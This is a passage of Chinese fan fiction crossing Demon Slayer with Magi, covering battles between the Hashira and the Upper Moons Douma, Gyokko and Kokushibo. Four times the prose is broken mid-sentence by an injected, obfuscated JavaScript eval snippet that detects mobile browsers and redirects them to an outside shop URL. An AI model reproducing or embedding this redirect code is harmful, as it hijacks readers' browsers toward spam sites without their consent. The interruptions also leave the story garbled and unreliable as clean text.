然而,在经过多次交战后,宇髓三人本就差临门一脚便能将上弦陆所斩杀,却半路杀出了一个本不该这里的上弦贰童磨。 穿着深红衣裳的童磨出场便释放大片冰雾,以强势的姿势插入战场。 雏鹤还记得,当那位有着七彩眼眸的上弦之鬼出现时,两位蝴蝶大人眼底的凝重。几乎是在冰雾出现的那一刻,香奈惠便大喊屏住呼吸,与上弦贰在冈名町交过手的她当然知道,上弦贰童磨所使用的手段。 雏鹤捂住当时不小心吸入冰雾的肺部,那处的隐隐作痛和口鼻间的血腥味还在散发着存在感。只是吸入一点点便是这样,如此正身处战场之中的宇髓天元他们几人在承受着什么? 必是比这更为严重和艰险的伤势。 轰隆一声,战场中心,蝴蝶忍几乎浑身浴血,她眼睛死死盯着带着虚伪微笑的童磨,险险避过袭来的粉色绸带。 “恋之呼吸,三之型,恋猫齐鸣!” 在蝴蝶忍的上方,挥舞着特质日轮刀的甘露寺蜜璃从空中发动攻击,宛若鞭子一样的日轮刀在挥舞间砍断四面八方袭来的粉色绸带,突破了堕姬为童磨塑造的保护层。 眼见粉色的刃身快要触及上弦贰的脖子,却被铁扇牢牢抵挡。 “又没打中吗!” 甘露寺蜜璃看着未中的一击陷入了懊恼。 见此,在女子堆沉溺多年的童磨正想笑着说话,却忽地眼神一凛,他向左侧了身子,警觉地避开了突刺而来的刺击,独特的刃尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050490|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着特殊的构造,凹陷的地方还能看出其中那泛着金丝的血色。 属于蝴蝶忍的日轮刀狠狠擦过童磨的脖子,留下一道极深的血痕。 蝴蝶忍原本粉紫色的蝴蝶羽织已经被血染红大片,虽然看似狼狈,但她的伤势并没有表面上来得严重。 多亏了红诀的血样研究所制成的药剂,她们这几个人才能在童磨那可以损害人体肺泡的冰雾以及妓夫太郎的血液毒素中夹缝生存。 “看来这位小姐,对我是恨之入骨呢?” “我们之前好像没有怎么见过?” 童磨背对着蝴蝶忍,感受着脖子处传来的强烈痛感,眼底多了几分不耐。在他赶到花街不久,才发现这小小的花街竟然聚集了四位柱。 除去昔日见过的花柱香奈惠,还多了个虫柱蝴蝶忍、音柱宇髓天元以及在他之后赶过来的恋柱甘露寺蜜璃。 虽然按照计划吸引了多名柱的注意,但他也没有想到这几名柱比想象中还要难缠。 自己像是被研究透,他看着周围几人在吸入冰雾之后没有发生异常的身体,目光落在已经在颈部出现斑纹的甘露寺蜜璃身上,从一开始的那股不安的预感在此刻终于落到了实处。 拥有怪力和柔韧性并存的甘露寺蜜璃、擅长毒素兼具敏捷的蝴蝶忍,心思缜密大局观俱全的香奈惠,胆大心细,技巧满分的宇髓天元。 看似凑巧的组合,却意外地制衡住了花街的局势。 现在的局面,要想脱离或者打破,需要再做什么。失去玉壶的联系,现在的他也是两眼一抹黑,即使所看到的局面正按计划一样展开,但总觉得有些不对劲的地方。 他的眼角余光看着另一边与堕姬和妓夫太郎交战的宇髓天元和香奈惠,已经制成谱面的宇髓天元在一开始劣势的局面已经转为优势,他的动作大开大合,有了蝴蝶忍所注射的药剂之后,他的身体并没有被妓夫太郎血液的毒素侵蚀,动作依旧流畅。 更不用说还有香奈惠在三方战场中周旋。华丽的花之呼吸一招招将堕姬对甘露寺蜜璃和宇髓田园的干扰尽数斩落,共同牵制三名上弦。 看着眼前逐渐不利于己方的战场,上弦贰觉得不能在拖下去了。他的铁扇扬起,下一瞬,和冈名町相似的巨大菩萨冰像便出现在战场中央,一下便将本欲攻击的甘露寺蜜璃和蝴蝶忍弹开。 “血鬼术·雾冰·睡莲菩萨。” 巨大菩萨冰像现身的那一刻,香奈惠脸色霎时间凝重,从见到童磨那一刻,脑海中曾经将要淹没冈名町的那片冰雾海像是又出现在自己面前。 她竭力大喊:“阿忍!” 就在她话音刚落的那一刻,身材娇小的蝴蝶忍猛地往巨大菩萨冰像的位置抛掷出几枚黑黢黢的盒子。盒子掷出,落地的瞬间便爆发出剧烈的轰炸声,骤然爆开的烈风像是猛火遇到冰,滚滚浓烟淹没了半边冰像,下一刻,巨大的冰像猛地坍塌。 那几枚黑黢黢的盒子,居然将童磨召唤出来的巨大菩萨冰像炸塌了。 78.少年与远方 轰隆一声巨响,巨大的菩萨开始从爆炸处一点点蔓延出裂痕,像连锁反应一般,细密的裂痕从小到大,逐渐布满整座冰像。 在四人三鬼的注视下,童磨所释放出的血鬼术轰然倒地,被瓦解释放的大片冰雾在顷刻间爆发,因为引爆得及时,所涉及的范围只局限于战斗这一区域内。 隔着两条街的雏鹤她们以及早被驱散的人群,受到的波及很小。 “这是什么!这是什么?” 甘露寺蜜璃握着自己的日轮刀张大嘴巴看着爆炸处,因早被童磨弹开,她们几人都没有位于爆炸中心。蝴蝶忍更是在边缘抛掷出百毒系列,虽然被暴风波及到,但伤势较轻。 要说在整个爆炸的中心位置,也只有操控菩萨冰像的上弦贰了。 只见爆炸中心烟雾缭绕,铁洞井峰岩所研制的百毒系列威力并不大,能轰塌童磨的冰像,是蝴蝶忍找准位置和时机的结果。刚召唤出来,还未汇聚威力的冰像比不得当时冈名町那时,不然冰像碎裂爆出的冰雾海,能瞬间淹没整个花街。 看着明显受限的范围,蝴蝶香奈惠悬着的心终于放下。作为冈名町冰雾海的亲身经历者,对于冰雾海的危害和范围印象深刻。从看到上弦贰出现在花街,她就一直在防着他这一手。 红诀,阿忍,你们的努力没有白费。 香奈惠看着被甘露寺蜜璃拉着问□□来源的蝴蝶忍,眼底满是自豪和骄傲。 她记得从冈名町那次昏迷醒来后,红诀和蝴蝶忍就如何限制上弦贰的血鬼术这一话题研究了许久,作为曾经与童磨交手过的她也时不时被自家妹妹拉去询问。 “上弦贰的冰像是个巨大的隐患。” “除去针对他那会损害人体肺泡的血液外,及时疏散人群和缩小冰雾海的涉及范围也很重要。” 夜晚,在红诀的病房内,她都是在一旁听着红诀和阿忍两人是怎么样讨论的。冈名町一战,红诀将童磨所展示出来的招式掰碎了去研究,敏锐的战斗意识让他注意到了许多战斗细节。 她还记得当时穿着病号服的红发少年托着下巴沉稳说道,“冰像破坏的最好时机,应该是刚刚召唤出来的时候,越往后童磨输送的血鬼术越多,冰像越坚固。” 因着鬼杀队对上弦鬼的情报知之甚少,每次与上弦交手的每一个细节都是下次交战的宝贵财富。红诀和蝴蝶忍从那时的设想到一步步融入到后续的武器研究中。 在那些个日日夜夜里,每次当她路过妹妹的研究室时,看到的都是那彻夜未熄的灯光。穿着密封实验服的蝴蝶忍伏案研究,周边摆放的血液样本一瓶接着一瓶,都是红诀陆陆续续送来的。 他们和铁洞井峰岩先生他们一样,从不轻视任何一个细节,只为增加赢的胜算。 而如今眼前的一切,正是他们所做、所筹谋一切的最好结果。无数个日夜中,他们所设想的场面终于在花街上演。 那些汇聚红诀、蝴蝶忍、铁洞井峰岩和沼田鸣等人努力铸成的百毒武器,成了掰倒上弦贰的一大助力! 爆炸的中心,童磨举扇捂住自己的口鼻,他没想到单凭蝴蝶忍那几颗黑黢黢的东西竟然能把自己的冰像炸碎。 他们是怎么知道刚召唤出来的冰造物最为脆弱的? 他看着周边洒落的红紫色液体,心下顿感不妙,那个名为蝴蝶忍的女人扔出的武器只有爆炸功能吗? 他的鼻尖微动,居然从周围气味中闻到了属于那个红发小鬼的血液气息。 怎么回事!?难不成那个红发小鬼来到这里了吗? 不可能!他应该在北边被黑死眸他们…… 童磨四处张望,试图找到红诀的身影,游离之间在他警觉的视线停在了洒落在废墟之中的红紫色液体上。下一瞬,那些红紫色液体开始挥发,眼前视野突然模糊了一瞬间,再度回神时,周边已经开始弥漫出红紫色的气体。 红紫色的气体汇聚成雾,夹杂在童磨的冰雾之中,丝丝缕缕汇入其中。 见状,童磨立马召唤出三名小冰人护在自己周边,身上更是片刻间就覆上一层冰晶,呼吸的口鼻也不例外。 这些气体肯定有什么危害! 巨大菩萨冰像瓦解造成的冰雾还未消散,整个战斗区域内,双方都处于视野模糊的现状。即使蝴蝶忍利用红诀提供的血液和信息研制出了抑制童磨血液的针剂,但在浓度这么高的区域内,众人也不免身体僵硬,呼吸法的运转也受到限制。 察觉红紫色气体融入到冰雾中的瞬间,蝴蝶忍就知道,反攻的时机来了。她眼神坚定,见童磨处于最核心的位置,眼底浮现一丝疯狂和兴奋。 另一边,逐步被红紫色气体波及到的堕姬和妓夫太郎也反应及时,想要去捂住自己的口鼻。但香奈惠和宇髓天元压根不给他们动手的机会。 无声的默契下,属于鬼杀队的反攻正式开始。堕姬和妓夫太郎都发现眼前之人的攻势越发凶猛,动作也越来越快,他们渐渐落了下风。 战场上的局势从相持转为有利于鬼杀队。 消散的冰雾之间,刀光与冰晶碰撞,声音与血镰共鸣。感受到越发吃力的攻击,妓夫太郎率先反应过来。 不是鬼杀队动作变快了,而是他们的动作变慢了。那些红紫色的气体,有毒! 童磨也发现了这一事实,虽然他在第一时间用冰晶封锁了自己的全身,但处于爆炸中心的他吸入的气体浓度只会比堕姬和妓夫太郎他们更多。 “真是好算计。看来,这毒气是只对我们有害了。” 童磨还在强撑着反问不断攻向自己的蝴蝶忍和甘露寺蜜璃。闻言,甘露寺蜜璃满脸疑惑,手中攻势不断。而蝴蝶忍则是冷哼一声,对童磨的问题默认。 蝴蝶忍的默认让童磨第一次面露不耐,“没想到即使红发小鬼没在这里,还是非常烦人。” “这气体中,有他的血液吧。” “那要希望黑死牟他们能顺利将他成功擒回那位大人那里了。”童磨指挥着小冰人发动血鬼术,将试图近身的蝴蝶忍和甘露寺蜜璃两人阻挡在外。他眼神发冷,“虽然,我更希望他死。” 擒回?你出现在这里背后的目的竟然是红诀吗!? 甘露寺蜜璃和蝴蝶忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102208|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪大双眼,脸色难掩震惊的神色。 见状,童磨大笑几声,“我似乎忘了告诉你们,在你们的同僚那边可是有三位上弦呢。” “这是个好消息,对吧。” “!” 闻言,甘露寺蜜璃和蝴蝶忍气愤地握紧了手里的日轮刀,齐齐对准上弦贰,两人颈部和眼尾的粉心和蝴蝶斑纹十分明显。 “你该死,童磨!” ***** 在花街的西边,藏于深山之中的锻刀村,此时正经受着外敌的入侵。 在铁洞井峰岩的锻造屋周围,已经筑起了一道半弧形的防线。铁洞井峰岩的锻造屋背靠着山,位于峭壁的崖底。此刻的锻造屋内,正汇集着锻刀村全村老少。 锻造屋内的炉火烧得通红,不算大的锻造屋内正密密麻麻地挤着一连串的人。 “速度加快!” “小铁,帮忙把这些武器运到外面去。” “我们一定要守住外面的防线,等待救援!” “加油!大家!” 锻造屋内,锻刀村长站在门口,为屋内满头大汗的大家加油鼓劲。铁洞井峰岩的锻造屋是锻造新式武器,也就是百毒系列的核心场所,这里有红诀和蝴蝶忍送来的毒素核心,也有通过沼田鸣渠道送来的一些炸药。 玉壶来袭前,这里刚好进了一批新货,只是没等铁洞井峰岩开始制作,就传来遇袭的消息。 防线前有铁洞井峰岩镇守,正拿着残留的百毒系列武器阻止玉壶的靠近,但武器终究有限,这次的批量只有少量,只能加班加点地制作出一些粗糙的半成品,支撑锻刀村到支援到来。 想到这里,村长面露担忧看向不远处吆喝着嗓子的铁洞井峰岩。 峰岩哟,前边就交给你了。 半弧形防线前,铁洞井峰岩看着不远处从丛林冒出来的鱼形生物,嫌恶地皱紧了眉,他憋住呼吸,忍着不去注意这满地的鱼腥味。 完蛋了,我海鲜过敏…… 彪悍的大汗脸色通红,不住抓着脖子的红点,一边指挥着同伴将武器往丛林里扔。 他深知百毒武器只能作为震慑和阻碍作用,在红紫色气体弥漫开来时,那壶身怪物就察觉到,现在正躲在丛林后用这些恶心的鱼形生物来耗掉他们的武器储备。 虽然手里的武器用一个少一个,但一定要用,为了身后的大家,他必定不会让这恶心的东西向前一步。 时透先生,伊黑先生…… 请快些赶来吧…… 铁洞井峰岩狠狠抓了下自己红肿的脖子,掩下眼底的不安,扯着嗓子大喊—— “给我扔!” 他抓过所剩不多的武器,瞄准丛林伸出一个用力,像投掷标枪一样将没有炸药含量的武器狠狠扔进玉壶所在的位置。 武器落地的瞬间,无数红紫色液体分散开来,眨眼间变成弥漫开来的气体分布在空气中。 而玉壶正躲在自己的壶中,不得不往右再退一步,看着不远处嚣张的众人,他恨得牙痒痒。 这群普通人,居然还研究出这种东西! 79.少年与阴谋 锻刀村的防守还在继续,在又投掷出一枚带有红紫色气体的炮弹后,铁洞井峰岩终于等来了前来支援的时透和伊黑。 铁洞井峰岩的锻造屋本就位于山脚上,等林间红紫色烟雾中刀光亮起时,玉壶从压制方瞬间转变为被压制方。位于林中的他被赶来支援的霞柱和蛇柱包围,属实进退两难。 修习霞之呼吸的时透擅长悄然无声的进攻,带着天青色烟气的刀刃在眨眼间便袭向躲于树上的玉壶,察觉到攻击的那一刻,玉壶的壶身一闪,壶身图案变化,下一秒他便转移到树对面的另一个壶身之中。 没等他看清攻击的时透,属于伊黑那变幻莫测的蛇形攻击从左侧袭来。 “蛇之呼吸,二之型,狭头之毒牙。” 突然出现的伊黑单手持刃,以刁钻的角度劈向玉壶从壶身露出的脖颈。 咯吱咯吱的声音响起,玉壶在千钧一发之际,将自己的脖颈变换为光滑的鱼身,布满鳞片的肌肤变得难以突破,伊黑的日轮刀摩擦着鱼鳞,发出刺耳的声音。 夜间的林中,浓郁的红紫色气海弥漫在树林之中。难以辨认的环境中,玉壶猛地拉开与两名柱的距离。从一开始想要强行突破的想法彻底化作虚无的幻影。 他看着这遍布林间的红紫色气体,能明显感到体内的压制感。脖子处被伊黑割伤的伤口散发着疼痛,又在鬼的特性下瞬间愈合。 他知道,不是他躲不了那一招,而是自己的身体能力在这片红紫色气海的压制下被削弱了,这样的削弱感甚至影响到了他的本体。 可恶!鬼杀队的反应怎么这么快? 他们不应该被大规模的鬼潮困住手脚吗?怎么还能在这么短的时间内赶到这里? 没等玉壶花时间疏通这里面的关窍,隐于气海中的时透和伊黑再度攻来,两人都是敏捷型和技巧型的剑士,如今林间迷惑视野的视野塑造了他们最优的战斗环境。 更不论这气体还进一步削弱了玉壶的能力。 面对两名柱的攻势,玉壶咬紧了牙关,只能拖住他们了!该死,原本的预想根本不是这样的,究竟是那个环节出现了问题! 林间战斗的刀光和声响,铁洞井峰岩等人没有错过。玉壶在时透和伊黑的围攻下节节败退的模样也落在他们眼中。 百毒武器有用!他们能帮助霞柱和蛇柱他们! 见此,众人士气大振,铁洞井峰岩甚至脱下了自己身上的短褂,挥舞在手中鼓励众人。 “我们加把劲,一起帮助时透大人和伊黑大人击败恶鬼!” “我们继续扔!” “好!” 打了鸡血的锻刀村众人加紧武器制作的速度加快了不少,铁洞井峰岩更是激动得满脸通红,一个接一个朝林间投掷武器。 身边的村民也是如此,能够参与帮助到柱,他们就跟见到稀有刀刃一样,各个都异常激动。 不似从前一样只能靠制造刀刃来帮助柱,如今,他们也成了战斗前线的一员,能够肉眼看到,亲身感受地体验自己的能力。这种让心脏轰鸣的感觉如此鲜活,让人热泪盈眶。 “扔远一点,断不能让恶鬼逃脱了!” 在锻造屋众人士气大振的行动下,玉壶看着林间越发浓郁的红紫色气体咬碎了自己的后槽牙。本体位于林中更深处的他将自身置于血狱钵之中,隔绝着周遭淡淡的红紫色气体。 在与锻刀村交手的一开始,察觉那红紫色气体不对劲的他便将本体置于战斗区域更远的地方,只留分身在那里充当诱饵和攻击。 来到这锻刀村前,玉壶也是胜券在握的。在他们的计划之中,花街那里是充当吸引鬼杀队的首要诱饵,上弦陆和上弦贰同时出现在那里,那位鬼杀队主公一定会派去大量人手去支援。 而他来这偏僻的锻刀村是第二手准备,为的就是防止鬼杀队主公多做准备,留守其他的柱级战力应对突发情况。他甚至还在花街周边引发了大量鬼潮困住鬼杀队的人手。 一环扣一环,要的就是让局势混乱。 整个计划就是在博弈,利用上弦和恶鬼的消息左右和消耗来困住鬼杀队的人力,让北方位于无人支援的境地,这样一来,三名上弦围堵红诀的计划就能顺利进行,成功率也会大幅上升。 所以,位于明面上的他和童磨便是重要的一环。然而,即使如今的一切都按计划中一般顺利进行,但却在不知不觉中偏移了方向。 他不知道花街那边如何,黑死牟他们是否顺利堵到了那个红发小鬼。单是他这一边,就已经乱成一团。 诡异能削弱恶鬼能力的红紫色气体,难以攻占的锻刀村,以及比计划中来得更快的支援。这些突发情况,让他原本胜券在握,屠灭锻刀村的想法化作虚无。 现在他能做的,就是利用分身牵制住前来支援的霞柱和蛇柱,防止他们去北方支援。 “霞柱,蛇柱……” 玉壶躲在水型壶身之中,眼神狠毒,他的眼睛看着周围的气体,突然咧开他那丑陋的嘴,发出怪异的笑声。 计划产生了变数,就应该随机应变。锻刀村的人,今夜之后断不能留! 他将自己的双手伸出水型钵体之外,快速在空中进行击打。 沉闷的声音在周围响起,无形之中,空气开始扭曲,无数鱼型生物凭空冒出。它们簇拥着一个蓝色的玉壶,悄然从树林的另一边蠕动而去。 另一边,时透无一郎再又一次刺中玉壶分身的胸口之后,终于察觉到些许不对劲,眼前的恶鬼根本不是自己想象中的上弦实力。 时透察觉出来的这一点,伊黑也感觉到了。原本他和时透二人还想再试探一二,但眼前玉壶实力的不合预想,怕是还有后手。 伊黑压低身子:“时透。” 时透眼神沉静:“了解。” “霞之呼吸,四之型,平流斩。” “蛇之呼吸,五之型,蜿蜿长蛇。” 霎那间,青色的烟海与蜿蜒的白蛇一齐出现,两道身影鬼魅般地突进到玉壶分身的背后,在玉壶分身还未反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144763|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,两把刀刃齐齐挥向玉壶那布满鱼鳞的脖子。 砰地一声,两把日轮刀在玉壶分身的脖子处彼此碰撞,摩擦间刀刃的接触处隐隐发红,这突如其来的结合技打了玉壶一个措手不及。 藏于林中深处的玉壶本体指挥鱼分身的意念一个中断,不得不分神去处理抵挡时透和伊黑攻击的那个分身。 在玉壶附体的瞬间,时透和伊黑都能感受到刀下的抵抗的增强,刚刚战斗中那种时不时的突兀感再度袭来。但刀既挥出,就没有再收回的理由。 只见两人的嘴边白气萦绕,施加给玉壶脖子的力度更甚。蛮力的拉锯间,刀刃间的交界处越发通红。 附身于分身上的玉壶心底一惊,隔绝在鱼鳞外的灼热感越发明显,那种异常的灼烧痛感死死抵住自己后颈的某一点,几乎在下一秒便会突破斩向自己的分身。 见状,玉壶果断选择进行蜕皮,成为完成体。但在施加血鬼术的刹那,他便惊诧地发现,从本体传来的力量受到了阻隔。 就如本体和分身之间的链接被削弱般,以往一些可以靠分身发动的血鬼术都无法使用。 这红紫色的气体,绝不是只是削弱处于其中恶鬼能力那么简单,竟然还能削弱自己本体和分身的链接,这是什么原理? 周围的环境在铁洞井峰岩等人不心疼的抛掷之下已经完全被浓郁的红紫色气体充盈满。此间抑制血鬼术的气体浓度极高,即使红紫色气体并不会直接伤害恶鬼的身体,但却能在战斗中拖慢玉壶的反应速度。而高手对决,往往就在毫秒之间。 在玉壶犹豫惊讶的瞬间,横在他分身头颅之上的两把刀刃终于突破了鱼鳞的保护,挥舞的刀尖染上几抹红色,带着尖锐的破空声将玉壶分身的头颅砍下。 就在时透和伊黑砍下玉壶分身的同时,一声尖叫声从锻造屋的方向传来,时透和伊黑抬头一看,映入眼帘的便是那房屋大小的章鱼触手,铺天盖地的章鱼触手正张牙舞爪地扑向几乎汇聚全锻刀村民的锻造屋。 不好! ***** 与此同时,北边郊外。 红诀三人正与黑死牟和猗窝座交战激烈,少了上弦肆半天狗,黑死牟和猗窝座的实力有了其他层面的增长。虽然少了半天狗的远程协助,但也少了互相的干扰,他们两人能彻底放开手脚,攻击的自由度更高了。 红诀举着拐抵住黑死牟那将近三米的虚哭神去,从另一层面感受到上弦壹的棘手。黑死牟无规则的攻击根本无法预测,都是攻击袭来的前一刻才显露出痕迹,好几次,红诀都是险险避过。 剧烈的摩擦声从他和黑死牟的武器上传来,俯视着红诀,黑死牟眼底闪过一丝欣赏,已经很久,很久没有这么尽兴地进行过战斗了。 他的嘴唇微张,正欲说些什么,下一刻,便看到与自己武器相持的红发少年露出一个狡黠的笑容。只见红发少年微张着嘴,那另人头脑发昏的音浪攻击对着黑死牟袭来。 “沙之呼吸,三之型,沙龙的咆哮,改。” 80.少年与新生 无形的音浪在两人中间爆发,附加魔神之力效果的三之型,在剧烈消耗红诀体力的同时,也十分具有震慑效果地影响了黑死牟。 只见黑死牟手里的虚哭神去一顿,下一刻,红诀的拐刃再度划向他的脖颈,力度之大,甚至在空中留下一道残影。黑死牟只觉眼前突然陷入一片黑暗,模糊的感官触觉中,他能感到自己浑身的细胞在叫嚣着危机感。 不妙。 在看不清的世界内,黑死牟只能将自己的身体改造成布满利刃的模样,从血肉之中生长开来的利刃沿着胸膛向上,凭直觉在红诀拐身划过的路径布下阻碍。 铮地几声,布满眼睛的利刃被泛着金光的拐刃砍断,断裂的利刃浮在空中,倒映着周遭的一切。缩小的倒影中,黑死牟的上身已经布满长满眼睛的利刃,宛如树枝一般,肆意生长压迫周遭的一切。 红发少年的利刃带着千军之力,层层突破袭向黑死牟的脖子。四溅的利刃碎片,黑死牟身上蜿蜒的金色裂痕,鲜血带着灼热,给黑死牟带来骇人的压迫感。 在察觉到自身伤口未能愈合的一瞬间,黑死牟浑身宛若过电般,窒息感从下至上紧紧压迫着他的感官和直觉。 是赫刀!? 伤势未曾愈合的感受让黑死牟突然想起数白年前那个男人的红刃。 不对,没有灼热感,但—— 必须阻止他。 短短的几秒之间,红发少年手中的拐刃在黑死牟胸膛上留下骇人的伤势,直逼致命的颈部。而拥有六只眼睛的武士恶鬼神情淡然,他眼底无神却好像又看透了什么。在恢复视觉的那瞬间,他眼眸清澈宛若明镜,将红发少年身上的每一寸肌肉和血液器官照映得一清二楚。 红发少年手臂肌肉的走势,牵动以及心脏血液的迸发力度,一切都在黑死牟的眼里看得一清二楚,包括红诀有所预防的动作。 咚咚,清晰的心脏声在黑死牟耳边徘徊。 “沙之——” “月之呼吸。” 在红诀变招的前一刻,黑死牟抢先出招,只听到一声怒吼,无数月形利刃从黑死牟的体内爆出,近距离的爆发让所有人都没有反应过来,离得最近的红诀更是瞪大双眸。 在黑死牟率先出招的前一秒,他脑海中的警铃急迫作响,极限反应之下,他只能慢黑死牟一秒出招。沙隐的效果还没完全展露,黑死牟的攻击就已经触碰上他的身体。 [小子!] 马尔巴士急切地大喊。 空旷的郊外,黑死牟体内爆发的大规模月形利刃风暴席卷而出,由密到疏,最中央的土地上更是布满深深的沟壑。 在另一边和猗窝座激战的炼狱和不死川也被波及,两人一鬼被这突如其来的攻击分离了战场,齐齐进行躲避。巨大的冲击力让炼狱和不死川猛地回头看向风暴中心处。 “红诀!” 待尘土散去,两人一鬼才看清风暴中心的情况。 滴答,静谧之中,传来清晰的水滴声。满地沟壑之上,黑死牟举着虚哭神去的手被红发少年稳稳握住,少年举着单拐,身上满是细密的伤口,握紧黑死牟的手上还有几道可见白骨的割裂伤,血液汇聚成小细流顺着身体幅度向下滴落。 红发少年浑身浴血,胸腔起伏剧烈,但却眼神熠熠发光,隐隐之中可见疯狂的神色。 在刚刚的极限之中,红诀已经慢了黑死牟一步。即使他反应速度惊人,也只能在微小的攻击缝隙之中缩小自己的受伤范围和程度。 他身上的金光还未散去。多亏了魔神之力的后续影响,他的伤势不至于过于严重。 “咳咳。” 红诀紧紧握住黑死牟的手,力道之大,甚至让黑死牟的手隐隐颤抖。 黑死牟的眼神缓缓落到红诀身上,他没想到,在刚刚那样的攻击之中,眼前的红发少年还有躲避和反击的余地。与红诀对视上的瞬间,黑死牟便读懂了少年眼神中的含义。 那双缀着金光的眼眸,明晃晃地在询问自己刚刚看到了什么。 对此,黑死牟一愣,他低笑了一声,有意思,原来他并没有触摸到那个境界,并不能和自己一样,看清所有的肌理分布,心脏搏动。 “你没有达到那个境界,原来如此。” 黑死牟对着红诀低声说道。原本他看着红诀那利落的身手和惊人的直觉,以为他和自己,和那个人一样达到了能够看清人体通透世界,但如此看来,少年并没有达到。 红诀惊人的战斗天赋和身体素质在给了他强悍的战斗能力的同时,也意味着他的极限所在要比常人更加难以触及。周遭环境的限制,让他无法完全开发自己的身体潜能。 在灶门家与鬼舞辻无惨战斗时所开启的斑纹,代表着面对鬼舞辻无惨,红诀第一次触摸到了自己的极限,进一步开发了自己的潜能。 除非红诀能够再次遇到险境,在绝境中逼迫自己突破极限,不然,例如通透世界这样的直觉感知他要想触摸到边界,比常人更难。 这样的事实,红诀自身也意识到了。 他感受着自己因为剧烈呼吸而发疼的胸腔,脑袋无比清晰。 他太过依赖魔神之力了。 魔神之力有强大的能力,红诀十分清楚,无论是及时挽救粂野匡近的伤势,还是制约童磨的血鬼术,都有不可替代的决定作用。这种强大给了他承担更多责任的信心,却也让他忽视了对自己潜能的开发。 太过依赖外力,并不符合红诀自小的生存之道。 而依赖外力所造成的代价和结果,正是那急剧消耗的体力。他不由得开始想,是从哪里开始的?是从逐步克服规则之力的制约开始的吗?自己的战斗重心慢慢转到了如何持续使用魔神之力上面来。 “错了……” 红诀低笑出声,嘴里喃喃说道。 [小子……]马尔巴士眼露担忧。 [马尔巴士,一直以来我们好像走错了。]红诀将自己手里仅剩的另外一只单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178754|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐扔下,[我好像忘记了自己一开始是怎么在沙漠之中生存的了。] 明明在最初的时候,他是靠自己的拳头一步步活在现在的。没有权力,也没有金钱,他是靠自己一步步走进沙漠,一步步抵抗捕捉他的奴隶商人,一步步来到马尔巴士的高塔,获取力量的。 但他忘记了。 红发少年发尾的金光缓慢褪去,逐渐恢复原本的红色色泽。 [马尔巴士,魔神之力真正发挥作用不是在现在。]红诀握紧右拳,[我想,我知道为什么我们的尝试不能成功了。] 闻言,马尔巴士一愣。在今天之前,马尔巴士和红诀就一直在研究契约的转化,但无论马尔巴士如何拆解,红诀的身体排斥反应都很强烈。他们都一致认为是规则之力在搞鬼。 [并不是规则之力在搞鬼,是我们搞错了方向。] 一叶障目,马尔巴士执着于减轻规则之力的排斥,红诀执着于如何让自己提高耐力能充分使用魔神之力。他们两人都忽视了最本质的东西,并不是魔神之力为主,红诀自身为辅。 那不是真正掌握魔神之力。 力量的使用与否,如何使用,终究是使用者本身的控制,他们是被魔神之力牵着鼻子走了。 不该是如此。 [要想真正掌握力量,并不能被力量牵着鼻子走。] 熟悉的魔纹在红诀体内重新架构,马尔巴士看着红诀体内那翻天覆地的变化,困于众多书籍之中的他顿然醒悟。 静谧的郊外,红发少年哐当一声扔掉手里的单拐,他死死攥着黑死牟的手腕,右拳紧握,奋力向前轰击。霎那间,拳风鼓动,金光闪烁,红发少年握紧的右拳猛地轰击到黑死牟的身上。 !? 黑死牟瞪大双眼,拥有通透世界的他自然没有错过红诀轰拳头之前的身体反应,但太快了!在他看清的那一瞬间,那猛烈的拳风已经袭到身前,身体根本来不及及时反应过来。 轰地一声巨响,红诀的拳头结结实实地打在黑死牟的胸口处,响声落下,黑死牟一声闷哼,他的胸膛塌陷了一块,连同周围的血肉利刃都被一举捶断。 怎么回事! 黑死牟震惊地看着眼前浴血的少年,少年宛若一个血人,抛弃了自己的武器,整个人像是返璞归真,不再是原本的气场。即使他能看到少年身体状况在一步步走向劣势,属于人类□□的极限在逐步显现。但不一样,眼前之人,从他身上突然觉醒了什么不一样的东西。 远处的猗窝座也是敏锐地看向轰出拳头的红诀,他也感觉到了。 那个红诀,气场和斗志变了。 